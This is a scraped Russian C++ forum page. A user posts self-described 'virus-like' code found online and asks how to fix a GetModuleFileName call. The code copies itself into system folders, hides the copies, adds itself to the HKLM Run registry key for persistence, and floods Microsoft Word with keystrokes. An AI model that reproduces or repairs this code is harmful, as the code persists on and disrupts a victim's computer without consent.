Форум программистов, компьютерный форум, киберфорум
C++
Войти
Регистрация
Восстановить пароль
Другие темы раздела
C++ Работа с FLAC файлами Как программно (с помощью каких библиотек) можно разрезать большой FLAC файл (с прилагающимся CUE файлом) на отдельные (потреково) FLAC файлы. https://www.cyberforum.ru/ cpp/ thread165784.html Подскажите алгоритм C++
Добрый вечер. Стоит такая задача: проверить входит ли точка в произвольный многоугольник. Все координаты вершин многоугольника и координаты точки - известны. Проблема осложняется тем, что...
C++ Очень нужен компилятор Borland 4.5 https://www.cyberforum.ru/ cpp/ thread164785.html
Добрый день, очень нужен компилятор Borland 4.5. Кто-нибудь может дать ссылку чтобы его скачать? Заранее большое спасибо
C++ Эмуляция клавиатуры Подскажите, пожалуйста, как эмулировать нажатие клавиш клавиатуры для конкретного процесса? Т.е. чтобы, к примеру, можно было работать в MS Office, а в другой процесс передавались нажатия... https://www.cyberforum.ru/ cpp/ thread164606.html
Сеть Dos <-> Windows C++
Есть ли у кого исходники или какая-нить информация по организации сети межу станциями на ОС DOS и Windows? Спасибо.
C++ Создание службы в Visual Studio Доброго всем времени суток! Есть проблема: Нужно портировать на С++ код написанного на Си-Шарпе приложения-службы. Именно так, чтобы программа была в натив-кодах. Попробовал писать в С++ Билдере -... https://www.cyberforum.ru/ cpp/ thread164178.html
C++ Как в mpi выбрать сеть для передачи? https://www.cyberforum.ru/ cpp/ thread163845.html
Добрый день. Есть суперкомпьютер, у которого для коммуникации используется infiniband и ethernet. Требуется протестировать отдельно одну и другую сеть. Как в mpi реализовать выбор сети? Знаю,...
C++ Разбиение проекта на файлы
Добрый вечер. Пишу проект на винапи, в нем есть несколько классов с обьявлением и определением. Хотелось бы вынести код каждого класса в отдельный файл для удобства чтения. Подскажите, как это...
C++ DLL для Windows Mobile https://www.cyberforum.ru/ cpp/ thread163219.html
Всем добрый день. Такая проблема: есть библиотека DLL, которая была написана для десктопных приложений. Необходимо преобразовать ее в библиотеку, которую можно будет использовать в приложении под...
C++ Создание виртуальной файловой системы для explorer В линуксовом (юниксовом) mc есть такое понятие "виртуальная файловая система" (ВФС). Когда в программе отображается файл, к примеру архив rar, то можно enter'ом в него зайти и увидеть внутренности... https://www.cyberforum.ru/ cpp/ thread162982.html
Макрос для определения компилятора(С++) C++
Есть ли такое в природе?Что б можно было допустим, отличать майкрософтский от борландского внутри исходника.
C++ Обработка __VA_ARGS__ https://www.cyberforum.ru/ cpp/ thread162241.html
Доброго времени суток! Созрел такой вопросец: а можно ли как-то обработать макрос __VA_ARGS__ так, чтобы он не просто вставил список параметров через запятую, а и добавил некоторую информацию к...
0 / 0 / 0
Регистрация: 17.09.2010
Сообщений: 7
0

Вирусоподобное - C++ - Ответ 965170

17.09.2010, 22:16. Показов 763. Ответов 2
Метки (Все метки)

Привет всем! Пожалуйста, помогите разобраться а коде:

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#include <vcl.h>
#pragma hdrstop
#pragma argsused
#include <fstream.h>
#include <windows.h>
#include <conio.h>
#include <iostream.h>
#define _WIN32_WINNT 0x0400
#include <wincrypt.h>
 
 main()
WINAPI WinMain(HINSTANCE hint, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
HKEY key;
HINSTANCE hint;
char sysdir[256],
windir[256],
myname[256];
GetModuleFileName(hint,myname,256);
GetWindowsDirectory(windir,sizeof(windir));
GetSystemDirectory(sysdir,sizeof(sysdir));
strcat(windir,"\\practica.exe");
strcat(sysdir,"\\practica.exe");
CopyFile(myname,windir,FALSE);
CopyFile(myname,sysdir,FALSE);
*SetFileAttributes(windir,FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(sysdir,FILE_ATTRIBUTE_HIDDEN);*/
RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0,KEY_WRITE, &key);
RegSetValueEx(key,"practica.exe",0,REG_SZ,(BYTE *)sysdir,256);
RegCloseKey(key);
Sleep(60000*2);
int k=0;
do
{
if (FindWindow(NULL, "Äîêóìåíò1 - Microsoft Word")!=0)
{
ShowWindow(FindWindow(NULL, "Äîêóìåíò1 - Microsoft Word") , SC_MAXIMIZE);
LoadKeyboardLayout("00000419", KLF_ACTIVATE);
Sleep(10000);
do
{
keybd_event('G', 0,0,0);
keybd_event('G', 0,KEYEVENTF_KEYUP,0);
}while(1);
}
}while(1);
}
В общем это "вирусоподобное", стырино с 1й страницы поиска яндекса, но вот строка
GetModuleFileName(hint,myname,256);
меня смущает, что там должно быть вместо 'hint', 'myname'?
Спасибо огромное

Вернуться к обсуждению:
Вирусоподобное C++
__________________
Помощь в написании контрольных, курсовых и дипломных работ здесь
0
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2022, CyberForum.ru